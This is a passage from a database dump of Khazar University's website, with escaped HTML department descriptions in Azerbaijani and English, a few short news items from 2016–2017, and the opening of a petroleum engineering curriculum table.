style=\"text-align:justify\"><p>Tələbələrin dörd dil bacarığını (danışıq,dinləmə,oxu, və&nbsp;yazı) təkminləşdirməklə müasir Şərq və Qərb dillərini mənimsəmə qabiliyyətini inkişaf etdirmək;</p></li><li style=\"text-align:justify\"><p>İnteqrativ təhsil, tənqidi yanaşma; həmçinin mədəniyyət, din və cəmiyyətlərin analitik araşdırılması vasitəsilə tələbələrin mədəni-tarixi bilikləri və dünyanın mədəni müxtəlifliklərini qavrama qabiliyyətini inkişaf etdimək;</p></li><li style=\"text-align:justify\"><p>Xarici dillərin tədrisində və mədəniyyətlərin araşdırılmasında yeni təşəbbüslərlə bağlı tədqiqatlar və müxtəlif proqramlar həyata keçirmək.</p></li></ul><h3><strong style=\"color:#330033\"><img src=\"http://www.khazar.org/files/social/foto/15_10_13_lang%2Bculture.png\" style=\"border:0px  #330033;width:200px;height:202px;vertical-align:baseline\"><br></strong></h3><p><br></p><h3><strong style=\"color:#330033\"><a href=\"http://www.khazar.org/az/menus/135/music_and_fine_arts\">İncəsənət və musiqi departamenti</a></strong></h3>  <p style=\"text-align:justify\">İncəsənət və musiqi departamenti ixtisasından asılı olmayaraq bütün universitet&nbsp; tələbələri üçün incəsənət və musiqinin müxtəlif sahələri ilə məşğul olmağa imkan yaradır və bu fənlər universitetdə tələb olunan fənlər siyahısına alınacaq. Departamentin proqramı Azərbaycan və dünya musiqisinin mirasını və arxivlərini öyrənmək üçün mühit yaradır. Departament peşəkar və istedadlı qrafik rəssamlarının sərgilərini, xarici teatr və konsert qruplarının turlarını və hörmətli rəssamlarla görüşləri təşkil edir. Bu davamlı fəaliyyət Xəzər Universitetini Bakının ən zəngin mədəni mərkəzlərindən birinə çevirmişdir. Xəzərin mahnı və rəqs ansamblı&nbsp; Avropa, Türkiyə, Qatar və Gürcüstanda çıxış edərək bir neçə müsabiqələrin qalibi olmuşdur. Xəzər Universitetinin ansamblı Qafqaz, rus, ispan, ərəb, ingilis, italyan, fars, türk, qaraçı və digər milətlərin mahnı və rəqslərini ifa edir. Departamentin&nbsp; qaydalarına əməl olunması şərti ilə musiqi, rəqs, xor, xalça toxunması və yüksək ali dərəcələr əldə etmək üçün professional treyninq kurslar kimi müxtəlif fənlər təşkil edir. Həmçinin departament tərəfindən mütəmadi olaraq incəsənət tarixi, dünya incəsənəti və mədəniyyəti, Asiya və Avropa mədəniyyəti kimi ixtisaslaşmış fənlər də təklif olunmuşdur. Əlavə olaraq, bu departament Xəzər Universitetinin mədəniyyət sahəsinin inkişafında əsas rol oynayır.Bu səbəbdən də departament şəhərin (Bakı) mərkəzindəki məşhur “Dünya” konsert salonu daxil olmaqla, universitetin hər iki korpusunda iki konsert salonu yaradılmışdır.&nbsp;Təhsil və tədqiqatla yanaşı universitetin mədəni həyatını zənginləşdirmək məqsədi ilə digər təşkilatlarla əlaqələr yaradır, konsertlər və şoular təşkil edir və buraxılış mərasimləri və digər tədbirlərdə mühüm rol oynayır.Departamentin məqsədi xalça toxuma, musiqi duyumunun inkişafı, musiqi biliyi, həmçinin Xəzərin tələbələrinin artistik və intelekt imkan və bacarıqlarının inkişafı üçün performans imkanlarının inkişafı kimi Azərbaycan Milli incəsənətinə aid sahələrdə treyninqlər təşkil etməkdir. Universitetin toplantı salonları eyni zamanda Azərbaycan və dünya mədəniyyətinin inkişafı və təbliğinə töhfə vermək üçün universitet və digər qrupların toplantıları, məşqləri və konsertləri üçün istifadə olunur. Departament tərəfindən təklif olunan fənlər Azərbaycanın fundamental estetik dəyərlərinin təbliğini həyata keçirir. Hər tələbə milli mədəniyyətimizi daha dərindən öyrənmək üçün arzuladıqları sahəni seçə bilərlər. Tələbələr Xəzər Universitetində təhsil aldıqları müddətdə musiqi, rəqs, teatr və digər qruplarda iştirak edə bilər və eyni zamanda muğam, xalq musiqisi, Azərbaycanın klassik musiqisi və səs, xor, xalçaçılıq, zərgərlik və milli kostyum dizaynı üzrə tanınmış mütəxəssislərdən dərslər alaraq akademik kredit əldə edə bilərlər. Musiqi və İncəsənət departamenti həmçinin Xalça muzeyi, Zərgərlik muzeyi və Milli geyimlər muzeyi daxil olmaqla bir neçə mərkəzlərin işinə nəzarət edir.&nbsp;</p> <p><strong style=\"color:#330066\"><img src=\"http://www.khazar.org/files/social/foto/15_10_13_Musicart.jpg\" style=\"width:400px;height:283px\"><br></strong></p><p><strong style=\"color:#330066\"><br></strong><strong style=\"color:#330066\"><br></strong></p><h3><strong style=\"color:#330066\"><a href=\"http://www.khazar.org/az/menus/138/political_science_and_international_relations\">Siyasi elmlər və Beynəlxalq münasibətlər departamenti</a></strong></h3><p style=\"text-align:justify\">1995-ci ildən fəaliyyət göstərən Siyasi elm və beynəlxalq\r\nmünasibətlər departamenti bakalavr, magistratura, və doktorantura pillələrində\r\nPolitologiya, Beynəlxalq münasibətlər, və Regionşünaslıq ixtisasları üzrə təhsil\r\nproqramlarını təklif edir. Departamentin bakalvar pilləsi ixtisasları çox\r\nvektorlu və geniş ixtisas fənlərindən təşkil edilmişdir. Magistratura və doktorantura\r\npillələri isə diqqətini daha çox Konfliktologiya, Siyasi nəzəriyyələr,\r\nRegionşünaslıq, <span style=\"background:#ffffff\">Dövlət\r\nİdarəetmə (Avropa</span><span style=\"background-color:#ffffff\">)</span>, Şərqşünaslıq - Yaxın və Orta Şərq, Uzaq Şərq – və Cənubi\r\nQafqaz ölkələri kimi daha dar sahələrdə ixtisaslaşmağa yönəldir. Departamentin\r\nakademik heyəti əsasən xaricdə təhsil almış və Qərbin aparıcı elmi tədqiqat\r\ninstitutlarında fəaliyyət göstərən gənc müəllimlərdən təşkil edilmişdir.\r\nDepartament mütəmadi olaraq müxtəlif mövzularda elmi tədbirlər, konfranslar,\r\nseminarlar, simulyasiya və praktik təlimlər təşkil edir.</p> <p><img src=\"http://www.khazar.org/files/social/foto/15_10_13_Intl-Relations.png\" style=\"width:560px;height:203px\"></p><p><br></p><p><br></p><h3><strong style=\"color:#330066\"><a href=\"http://www.khazar.org/az/menus/132/law\">Hüquq departamenti</a></strong></h3><p style=\"text-align:justify\">Hüquq departamenti Universitetin aparıcı qurumlardan biridir. О, Хəzər Universitetinin əsası qоyulduğu gündən, 1991-ci il tariхində yaradılmışdır. Departamentin fərqləndirici хüsusiyyəti qismində müəllimlər tərəfindən tədris və tədqiqat sahəsində innоvasiyaların tətbiqini və tələbələrin tədris sahəsində göstərdiyi fəallığı göstərmək оlar. Tədris prоsesində azərbaycan və ingilis dillərindən istifadə оlunur. İngilis dilindən tədris dili kimi istifadə оlunması həm tələbələrin, həm də fakültənin tədris, tədqiqat, peşəkar fəaliyyətində yardım edir, оnlara dünyada peşəkar cəmiyyətlə ünsiyyət üçün yeni imkanlar yaradır. Departamentdə 12 nəfərə yaxın professor-müəllim heyəti çalışır. Hüquq departamentinin maddi-texniki bazasının möhkəmlənməsinə&nbsp; həmişə böyük diqqət və qayğı göstərən universitet rəhbərliyi bunu nəzərə alaraq, Amerika Hüquqşünasları Assosiyasiyası (ABACEELI) və ABŞ İnkişaf Agentliyinin (USAID) dəstəyi ilə fakültədə Məhkəmə zalı yararatmışdır. Bu layihənin əsas məqsədi universitetdə təhsil alan tələbələri məhkəmə işinin təşkili ilə yaxından tanış etmək, məhkəmə psixologiyasınа аlışdırmаq, gələcəkdə məhkəməyə müraciət etmək vərdişlərini aşılamaqdan ibarətdir.Hüquq Tədris Mərkəzi - 2012-ci ilin dekabr ayından ABŞ İnkişaf Agentliyi (USAİD) ilə Əməkdaşlıq Razılaşmasına əsasən, Azərbaycan Hüquqşünasları Konfederasiyası (AHK) “Azərbaycan Hüquq Konsorsiumu” layihəsinin icrasına başlamışdır. Ləyihə çərçivəsində hüquqşünas tələbələr və gənc hüquqşünasların bacarıqlarını inkişaf etdirmək məqsədilə Xəzər Universitetində Hüquq Tədris Mərkəzi yaradılmışdır. Tədris mərkəzində həmçinin&nbsp; İnsan Hüquqları ilə bağlı silsilə təlim kurslarının keçirilməsi nəzərdə tutulub.</p><p style=\"text-align:justify\"><img src=\"http://www.khazar.org/files/social/foto/15_10_13_law.jpg\" style=\"width:400px;height:187px\"><br></p>'),(4293,2534,'az','Hamlet İsaxanlı ilə müsahibə yenidən efirdə səsləndi','2017-ci il oktyabrın 15-də “İctimai” radionun “Həmişə istirahətdə” proqramında Xəzər universitetinin təsisçisi...','<p>2017-ci il oktyabrın 15-də “İctimai” radionun “Həmişə istirahətdə” proqramında Xəzər universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı ilə müsahibə efirə verilmişdir.</p><p>Qeyd edək ki, bu müsahibə artıq 3-cü dəfədir ki, təkrar efirə çıxır.</p>'),(1855,1142,'en','Policy Debate on “Low Commodity Prices as an Opportunity for Reforms” by Eurasia Extractive Industries Knowledge Hub','On May 24, 2016, Eurasia Extractive Industries Knowledge Hub operating at Khazar University held a policy debate on “Low Commodity Prices as an Opportunity for Reforms.”','<p>On May 24, 2016, Eurasia Extractive\r\nIndustries Knowledge Hub operating at Khazar University held a policy debate on\r\n“Low Commodity Prices as an Opportunity for Reforms.” </p>\r\n<p>The event began with presentations by\r\nwell-known experts from Azerbaijan, Russia and Kazakhstan about the influence\r\nof current trends in the world market on the macroeconomic conditions in the\r\nabovementioned countries. </p>\r\n<p>The event included participants\r\nrepresenting research institutes, universities, governments, embassies, the\r\npress and the public from nine countries (Azerbaijan, Albania, Russia, Ukraine,\r\nKazakhstan, Kyrgyzstan, Georgia, Mongolia and Tajikistan). It included a discussion\r\nabout the above topic.&nbsp;</p>'),(1856,1143,'az','“Dünya” məktəbinin təsisçisi mükafatlandırıldı','ATV.az-ın verdiyi xəbərə görə, 2016-cı il mayın 23-də Azərbaycan Dövlət Gənc Tamaşaçılar Teatrında Respublika Gününə həsr olunmuş “Cəfər Cabbarlı mükafatı”nın təqdimat mərasimi keçirilmişdir.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://news.atv.az/\" target=\"_blank\"><strong><em>ATV.az</em></strong></a><strong><span style=\"font-family:\'Calibri\',\'sans-serif\';background:#fffffff;font-weight:normal\">-ın</span></strong><strong><span style=\"font-family:\'Calibri\',\'sans-serif\';background:#fffffff\"> </span></strong><span style=\"font-size:12.0pt;line-height:105%;font-family:\'Times New Roman\',\'serif\'\">verdiyi</span>&nbsp;xəbərə görə, 2016-cı il mayın 23-də Azərbaycan Dövlət Gənc\r\nTamaşaçılar Teatrında Respublika Gününə həsr olunmuş “Cəfər Cabbarlı\r\nmükafatı”nın təqdimat mərasimi keçirilmişdir.<o:p></o:p></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Xəzər Universiteti\r\n“Dünya” məktəbinin təsisçisi Nailəxanım İsayeva və həmin məktəbin teatrının bədii\r\nrəhbəri Murad Allahverdi “Xüsusi Diplom”la layiq görülmüşlər.<o:p></o:p></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Daha geniş məlumatı bu\r\nlinklər vasitəsilə əldə etmək olar:<o:p></o:p></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://news.atv.az/az/culture/69748-onlar-cefer-cabbarli-mukafatina-layiq-gorulduler\">http://news.atv.az/az/culture/69748-onlar-cefer-cabbarli-mukafatina-layiq-gorulduler</a>;<o:p></o:p></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://kepeztv.az/news/id/13373\">http://kepeztv.az/news/id/13373</a>.&nbsp;<o:p></o:p></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><strong></strong></p>'),(412,203,'en','Departments','Departments','<h3><strong style=\"color:#330066\"><a href=\"http://www.khazar.org/en/menus/127/english_language_and_literature\">Department of English Language and Literature</a></strong></h3><p style=\"text-align:justify\">The mission of the English Language and Literature Department is to instill in our students a deep appreciation for language and its application to the needs of society.&nbsp; We seek to provide foundational skills, attitudes, and knowledge necessary for students to make meaningful contributions in the fields of English Language Teaching, Linguistics, Translation, and Literary Studies. As part of its mission, the English Language and Literature Department administers the Khazar University English Language Requirements program which prepares students to perform with excellence in the English language academic environment of the university. The English Language and Literature Department provides a unique environment for students to flourish in language and communication skills as a center for specialized instruction for non-native speakers of English. The English Language and Literature Department’s graduate programs provide advanced study in the disciplines of Translation, General and Applied Linguistics, and Literary Studies.&nbsp; The goal of these programs is to promote academic research in these disciplines and academic growth in students. <br></p><p style=\"text-align:justify\"><img src=\"http://www.khazar.org/files/social/foto/15_10_13_english.png\" style=\"border:0px  #000000;width:450px;height:116px;vertical-align:middle;margin:7px\"></p><p style=\"text-align:justify\"><br></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></p><h3><a href=\"http://www.khazar.org/en/menus/130/history_and_archaeology\">Department of History and Archaeology</a><span style=\"color:#330066\"> </span></h3><p style=\"text-align:justify\"><span style=\"font-weight:normal\"><span style=\"text-align:justify\">The study of history aims to provide a solid education that addresses fundamental questions about the nature of humanity, society, the past, culture, and the present. The Department of History and Archaeology has proven its high standards of scholarship and teaching. The mission of the Department is to provide students with knowledge about the origins and development of peoples in the past, to develop their ability to conduct research, analyze evidence, and express conclusions. The Department\'s primary mission is to train students to research, analyze, synthesize, and communicate accurate conclusions about change over time by using the historical method. Our particular scholarly mission is to preserve, advance, and communicate knowledge of humanity\'s past. This mission is reflected in the responsibilities of the History Department. In 2010, a new History and Geography major was opened in the School of Education within the Department of History and Archaeology (BS, MS, and Ph.D.). This program embraces issues and topics related to education, history, and geography, as well as interconnections among the three. Internships are a necessary part of the program, and students are given an opportunity for a practicum and internship at “Dunya” High School or other schools. The Department takes seriously our responsibility to mentor students and to help them gain knowledge of history and the professional skills of historians and geographers. The faculty focuses on its responsibility to teach critical thinking and communication skills at the same time as imparting the knowledge necessary for students\' personal and professional development. In order to fulfill this mission, at all levels of our curriculum, we emphasize discussion and engagement with both primary sources and the interpretations of various scholars. From our general education courses through advanced seminars, regular opportunities for small-group discussion are a prominent feature of almost all our courses. The Department offers fundamental courses in the history of world civilizations, covering such issues as a history of ancient and medieval human societies and history of Asian, European and American cultures, as well as courses in archaeology, ethnology, and anthropology, and minor problems in history. The Department also provides courses related to university requirements on the history of the Azerbaijani nation, including its evolution, culture and historical development, as well as relations of&nbsp;</span>Azerbaijan<span style=\"text-align:justify\">&nbsp;with other Caucasian peoples and neighboring countries such as&nbsp;</span>Russia<span style=\"text-align:justify\">,&nbsp;</span>Iran<span style=\"text-align:justify\">,&nbsp;</span></span>Turkey. The Department improves the teaching process by using visual aids, historical maps, video materials, and others. The Department’s specialized library is still being enriched by the valuable historical material. Within the teaching process, the Department arouses students’ interest and strives to constantly involve them in creative and independent work. Students make various presentations, write essays, and actively participate in scientific seminars and conferences held by the Department. The Department also has strong links with the State Archives, various educational institutions, and historical museums. Historical attractions in various regions of Azerbaijan are among the favorite places to visit for the university students and visiting scholars.</p><p style=\"text-align:justify\"><img src=\"http://www.khazar.org/files/social/foto/15_10_13_history.PNG\"> <br></p><p style=\"text-align:justify\"><br></p><h3><a href=\"http://www.khazar.org/en/menus/137/philosophy_and_sociology\">Department of Philosophy and Sociology</a></h3><p style=\"text-align:justify\">At present, the basic fields of academic and research activity of the Department of Philosophy and Human Studies are grouped into three divisions:</p><p style=\"text-align:justify\">•&nbsp;Philosophy (comprising a wide range of philosophical disciplines concerning the history of philosophy, philosophy of religion, political philosophy, relations between philosophy and literature, and philosophy and linguistics)</p><p style=\"text-align:justify\">•&nbsp;Sociology and Social Psychology</p><p style=\"text-align:justify\">Other fields of humanities and social sciences (e.g. study of Arts and Culture, Social and Cultural Anthropology).&nbsp;Various courses offered by the Department are taught practically in all schools of the University as electives in general education requirements. The disciplines offered by the Department are included as the major, major related and minor courses required for bachelor and master degree programs at the School of Law, School of Humanities and Social Sciences, and School of Economics and Management. The faculty of the Department is composed of scholars with solid teaching experience and varied research interests. All teaching faculty members have a strong academic background in their respective fields and have published widely. Distinguished visiting professors from foreign countries complement the full-time faculty.&nbsp;The Department supports several interdisciplinary graduate programs leading to masters and Ph.D. degrees.</p><p style=\"text-align:justify\"><img src=\"http://www.khazar.org/files/social/foto/15_10_13_Philosophy.jpg\" style=\"border:0px  #000000;width:400px;height:133px;vertical-align:baseline\"> <br></p>  <p><br></p><p><br></p><h3><a href=\"http://www.khazar.org/en/menus/139/psychology\">Department of Psychology</a></h3><p>A global community recognizes that events and forces such as major social changes, massive population growth, widespread human rights violations, increasing crime, violence, and substance abuse as well as increased awareness, communication, learning and sharing of knowledge associated with globalization are primary socialization influences affecting human wellbeing in contemporary societies. Thus, people may face with various biopsychosocial undesirable events and tend to have a high level of anxiety, stress and even burnout which lead a demand for psychologists.</p><p>Psychology is the scientific study of the mind and behavior as well as multifaceted discipline. Psychologists investigate many sub-fields of study such areas as motivation, emotional well-being, conscious, human development, sports, health, clinical, social behavior and cognitive processes. Currently, there is an increasing demand for psychologists because of the high rate of psychological issues.</p><p>The Department of Psychology was established in 2010. The program combines the theory and practice of psychology and teaches techniques of individual and group psychological counseling and care, which are essential for a successful career in the field.</p><p><strong><em><br></em></strong></p><p><strong><em>Why study Psychology at Khazar University?!</em></strong></p><ul><li>High-quality education in English</li><li>The education system based on the experience of the world\'s leading universities</li><li>Opportunities to continue education abroad</li><li>The foreign-trained staff as well as highly-educated professionals from Azerbaijan</li><li>Experience in clinics and hospitals</li><li>Possession of regular seminars, courses and conferences for professional development at the Khazar Psychology Counselling Center</li></ul><p><strong><em>To Whom is this occupation suitable for?</em></strong></p><ul><li>People with verbal and written communication skills</li><li>People with analytical thinking</li><li>Creative</li><li>Patient</li><li>Discreet</li><li>Listener</li></ul><p>For the first time, we organized the first International Psychology Conference in Azerbaijan as a Khazar University in order to learn and promote the latest achievements in psychology. It is an honor and proud to host such an international conference at Khazar University for our students.</p><p><strong><em><br></em></strong></p><p><strong><em>Career opportunities:</em></strong></p><ul><li>hospitals</li><li>polyclinics</li><li>orphanage</li><li>educational institutions</li><li>psychological service centers</li><li>almshouse</li><li>industrial areas</li></ul><p>Depending on the field of psychology they may work as a clinical psychologist, child psychologist, family psychologist, etc.</p><p style=\"text-align:justify\"><img src=\"http://www.khazar.org/files/social/foto/15_10_13_psychologyy.PNG\" style=\"border:0px  #000000;width:400px;height:317px;vertical-align:baseline\"> <br></p><p><br></p><h3><a href=\"http://www.khazar.org/en/menus/131/journalism\">Department of Journalism</a></h3><p style=\"text-align:justify\">The primary goal of the Department of Journalism is to prepare students to become intelligent, responsible and articulate journalists. The department is committed to the belief that the best journalism education combines a strong professional program with a thorough education in the liberal arts and sciences.&nbsp;It believes that such an education helps students to hear, understand and tell the stories of people whose circumstances or backgrounds are unlike their own.&nbsp;The department occupies a unique position within the School of Humanities and Social Sciences. It is the department whose primary mission is to prepare students for a particular career. The department values the research, teaching, and service of its colleagues in other departments. It values these things for their own sake, and also for the educational depth that they provide to our students. We remain committed to the idea that our majors need a strong liberal arts background to understand the world, and a strong journalism background to report on it. The department encourages its students to study other fields in depth and to complete second majors in other departments in the school. It also encourages students from other departments to complete a second major in journalism, enhancing their educational and career opportunities. The department also contributes to the college by offering instruction to a substantial number of non-majors who seek to improve their writing, interviewing and research skills, or to learn about the news media.</p><p><img src=\"http://www.khazar.org/files/social/foto/15_10_13_journalismm.gif\" style=\"border:0px  #000000;width:400px;height:218px;vertical-align:baseline\"> <br></p><p><br></p><h3><strong><a href=\"http://www.khazar.org/en/menus/124/languages_and_cultures_\">Department of Languages and Cultures</a></strong> <br></h3><p style=\"text-align:justify\">Established in its present form in May the 1<sup>st</sup> 2015, on the basis of two departments: the Department of Eastern Languages and Religious Studies and the Department of Modern Languages and comparative literature, the Department of Languages and cultures provides possibilities for studying both world languages and cultures. The department is devoted to a wide range of Western languages like German, French, Spanish, Italian, Russian etc. as well Eastern languages as Chinese, Korean, Turkish, Arabic, Persian, Hebrew, Urdu etc. The Department also focuses on ancient and modern cultures of the West and the East. Among the main goals of the Departments are the following:</p><p style=\"text-align:justify\">To develop students’ proficiency in modern foreign languages of the West and the East through improving four language skills (speaking, listening, reading, writing).To expand students’ understanding of the cultural-historical knowledge and the world’s cultural diversity through integrative and critical thinking, analytical studying on cultures, religions, societies.&nbsp;To conduct researches and organize various programs on new approaches to teaching foreign languages, the study of cultures and cultures</p><p style=\"text-align:justify\"><img src=\"http://www.khazar.org/files/social/foto/15_10_13_lang%2Bculture.png\" style=\"border:0px  #000000;width:200px;height:202px;vertical-align:baseline\">&nbsp;</p><p style=\"text-align:justify\"><br></p><h3><a href=\"http://www.khazar.org/en/menus/135/music_and_fine_arts\">Department of Music and Fine Arts</a></h3><p style=\"text-align:justify\">The&nbsp;Department of Music and Fine Arts&nbsp;of Khazar University is engaged in a broad range of activities in its role as one of the main educational/training structures of the university. The Department of Music and Fine Arts creates opportunities for all students to participate in various spheres of art and music regardless of their academic majors, and some of its subjects are included on the list of required subjects for university students. The department also creates an environment for students to learn about the heritage and history of Azerbaijani and world music through the programs that it provides. It coordinates exhibitions of professional and talented graphic artists, tours of foreign theater and concert groups, and meetings with respected artists. These continual activities have turned Khazar University into one of Baku’s richest cultural centers. Khazar’s song and dance ensemble has given performances in Europe, Turkey, Qatar, and Georgia, and has won several competitions. The Khazar University ensemble performs Caucasus, Russian, Spanish, Arab, English, Italian, Persian, Turkish, Gypsy, and other national songs and dances. According to the university policies, the department coordinates various courses for students to obtain high-quality professional training in music, dance, choir, and carpet making. At the same time, the department also continually offers specialized courses such as art history, world arts and culture, and Asian and European cultures. In addition, this department plays a foundational role in the development of Khazar University in the field of culture. For this reason, the department created concert halls in both university campuses, including the famous “World” concert hall in the university’s downtown (Baku) campus. The department is involved in both education and research as well as maintaining relationships with other organizations to enrich the cultural life of the university, producing concerts and shows, and playing an important role in graduation ceremonies and other events. The department’s main goal is to organize training in fields related to national arts of Azerbaijan in order to create performance opportunities so students can develop their artistic and intellectual skills, musical knowledge, and understanding of arts such as music and carpet making. At the same time, the university auditoriums are used for events, rehearsals, and concerts of other groups besides the university, making a contribution to the development and propagation of Azerbaijani and world cultures. The subjects offered by the department are carried out with the aim of promoting foundational Azerbaijani aesthetic values. Every student can choose a field in line with his or her preferences in order to more deeply learn the national culture. For the duration of their studies at Khazar University, students can participate in music, dance, theater, and other groups and at the same time can earn academic credits by taking classes from well-known specialists in mugham, folk music, classical music of Azerbaijan and the world, voice, choir, carpet making, jewelry making, and national costume design. The Department of Music and Fine Arts is also responsible for running several centers, including the Carpet Museum, the Jewelry Museum, and the National Costume Museum.</p>  <p><img src=\"http://www.khazar.org/files/social/foto/15_10_13_Musicart.jpg\" style=\"border:0px  #000000;width:400px;height:285px;vertical-align:baseline\"> <br></p><p><br></p><p><br></p><h3><a href=\"http://www.khazar.org/en/menus/138/political_science_and_international_relations\"><strong>Department of Political Science and International Relations</strong></a><br></h3><p style=\"text-align:justify\">The Department of Political Science and International Relations offers degree programs at undergraduate and postgraduate levels. The undergraduate degree programs include Political Science, International Relations, and European Studies. The postgraduate programs include Masters and Ph.D. degrees in International Relations.&nbsp;What are the distinctive features of our degree programs?</p>\r\n<br><ul><li><p>The medium of instruction is mainly English;</p></li><li><p>Our programs are designed in line with the programs of world-class universities as well as the Azerbaijani state standards;</p></li><li><p>Our programs include country-centered as well as region-centered courses which also attract foreign students;</p></li><li><p>Classes are taught by lecturers educated in leading world universities as well as experienced senior lecturers;</p></li><li><p>Our programs combine theoretical knowledge with practical experience (mandatory placement offered as of the 2015-2016 academic year);</p></li><li><p>Extracurricular activities such as field trips and seminar series are delivered by scholars, experts, and practitioners;</p></li><li><p>The department conducts a number of annual scholarly events such as Jean Monnet Seminar series, crisis simulation exercises, summer schools, and thematic conferences.</p></li></ul><div><img src=\"http://www.khazar.org/files/social/foto/15_10_13_Intl-Relations.png\">&nbsp;</div><br><br><p><br></p><p><br></p><h3><a href=\"http://www.khazar.org/en/menus/132/law\">Department of Law</a> <br></h3><p style=\"text-align:justify\">The essential mission of the department is to help students meet the demands of a&nbsp;rapidly changing legal and professional environment. The department is a center of&nbsp;legal scholarship, whose members work to enlarge society\'s understanding of law&nbsp;as well as its underlying policies, legal institutions, and legal processes. The department shared the school’s Administration policy--- to have a faculty composed of specialists with a broad range of professional experience and wide academic interests while sharing the commitment to teach. The knowledge and experience of the department\'s faculty afford students the opportunity to examine the law in its broadest context and provide them with specialized courses in various areas of law. The Department of Law is truly a “global” school with strong connections to the&nbsp;International legal and educational communities. The international activities of the&nbsp;department include visiting professorships, publications in foreign journals and&nbsp;participation in international symposia and conferences. Most members of the faculty are involved in certain activities abroad, are experienced in private practice and work as consultants and advisers to governmental and non-governmental agencies. Faculty involvement in such complement and enrich their instruction and contribute to realizing a practical orientated legal education. The teaching staff of the department develops its skills by participating in various&nbsp;seminars and conferences both in and outside the country. In all the courses,&nbsp;a strong emphasis is placed on the development of skills, whether academic, e.g.&nbsp;those required by legal research or \"life skills\", e.g. effective oral and written&nbsp;communication in a professional setting. A comparative analysis approach is&nbsp;another method used by the teaching staff, which considers the rich experience of&nbsp;various legal systems and analyzes them during the teaching process. Distinguished visitors from foreign countries and local specialists who are reputable experts in different areas of law contribute to the development of the&nbsp;department.</p><p style=\"text-align:justify\"><strong><em>The Legal Education Center</em>&nbsp;-&nbsp;</strong>was established with the support of Azerbaijan Lawyers Confederation and the US Agency for International Development (USAID) within the “Azerbaijan Rights Consortium” project in January 2013. The purpose of the Azerbaijan Rights Consortium Project (ARC) is to increase the effectiveness of civil society and legal professionals to better defend the rights and interests of citizens and to improve the rule of law.&nbsp;<span style=\"color:#252525;font-family:\'Times New Roman\', serif;font-size:12pt\"></span></p><p style=\"text-align:justify\"><img src=\"http://www.khazar.org/files/social/foto/15_10_13_law.jpg\" style=\"border:0px  #000000;width:400px;height:187px;vertical-align:baseline\"> <br></p>'),(1854,1142,'az','“Neft qiymətlərinin düşməsi və iqtisadi islahatlar: çağırışlar və imkanlar” mövzusunda forum keçirildi','2016-cı il mayın 24-də Xəzər Universitetində fəaliyyət göstərən Avrasiya Bilik Mərkəzi “Neft qiymətlərinin düşməsi və iqtisadi islahatlar: çağırışlar və imkanlar” mövzusunda forum keçirdi.','<p>2016-cı il mayın 24-də Xəzər Universitetində fəaliyyət göstərən\r\nAvrasiya Bilik Mərkəzi “Neft qiymətlərinin düşməsi və iqtisadi islahatlar: çağırışlar\r\nvə imkanlar” mövzusunda forum keçirdi. </p>\r\n<p>Forumda Azərbaycan, Rusiya və Qazaxıstanın tanınmış ekspertləri hazırda\r\ndünya bazarında hökm sürən proseslərin adı çəkilən ölkələrin makroiqtisadi\r\nvəziyyətinə təsirləri ilə bağlı təqdimatlar etdilər. </p>\r\n<p>Tədbirdə doqquz ölkənin –Azərbaycan, Albaniya, Rusiya, Ukrayna,\r\nQazaxıstan, Qırğızıstan, Gürcüstan, Monqolustan və Tacikistanın elmi-tədqiqat\r\ninstitut və universitetləri, dövlət qurumları, səfirliklər, media mənsubları və\r\neləcə də, vətəndaş cəmiyyəti təmsilçiləri iştirak edirdilər. Forumda mövzu ilə\r\nbağlı fikir mübadiləsi aparıldı.</p>'),(427,269,'en','Events and Announcements','',''),(428,270,'en','Syllabus 2016','',''),(429,271,'en','Curriculum','Curriculum','<h3 style=\"text-align:center\">PETROLEUM ENGINEERING B.S. Program</h3><div><br></div><table cellpadding=\"0\" cellspacing=\"0\" width=\"886\" style=\"\" border-collapse:collapse;width:665pt\";border-width:1px;border-style:solid\"=\"\">\r\n <tbody>\r\n <tr id=\"zebra\" height=\"27\">\r\n  <td height=\"27\"></td>\r\n  <td colspan=\"8\"><strong>1<sup>st&nbsp;</sup>Year</strong></td>\r\n </tr>\r\n <tr height=\"23\">\r\n  <td height=\"23\" style=\"font-size:large\"><strong>CODE</strong></td>\r\n  <td width=\"258\" style=\"font-size:large\"><strong>Fall Semester</strong></td>\r\n  <td width=\"59\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td style=\"font-size:large\"><strong>ECTS</strong></td>\r\n  <td style=\"font-size:large\"><strong>&nbsp;</strong></td>\r\n  <td style=\"font-size:large\"><strong>CODE</strong></td>\r\n  <td width=\"234\" style=\"font-size:large\"><strong>Spring Semester</strong></td>\r\n  <td width=\"53\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td style=\"font-size:large\"><strong>ECTS</strong></td>\r\n </tr>\r\n <tr height=\"24\">\r\n  <td height=\"24\">AZLL 101</td>\r\n  <td width=\"258\">Azerbaijan\r\n  Language&nbsp;</td>\r\n  <td width=\"59\">3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>AZH 150</td>\r\n  <td width=\"234\">Azerbaijan\r\n  History&nbsp;</td>\r\n  <td width=\"53\">3</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"24\">\r\n  <td height=\"24\">MATH 101</td>\r\n  <td width=\"258\">Calculus_I</td>\r\n  <td width=\"59\">3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>MATH 102</td>\r\n  <td width=\"234\">Calculus_II</td>\r\n  <td width=\"53\">3</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"24\">\r\n  <td height=\"24\">CHEM 111</td>\r\n  <td width=\"258\">Chemistry_I</td>\r\n  <td width=\"59\">3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PHSC 111</td>\r\n  <td width=\"234\">Physics_I</td>\r\n  <td 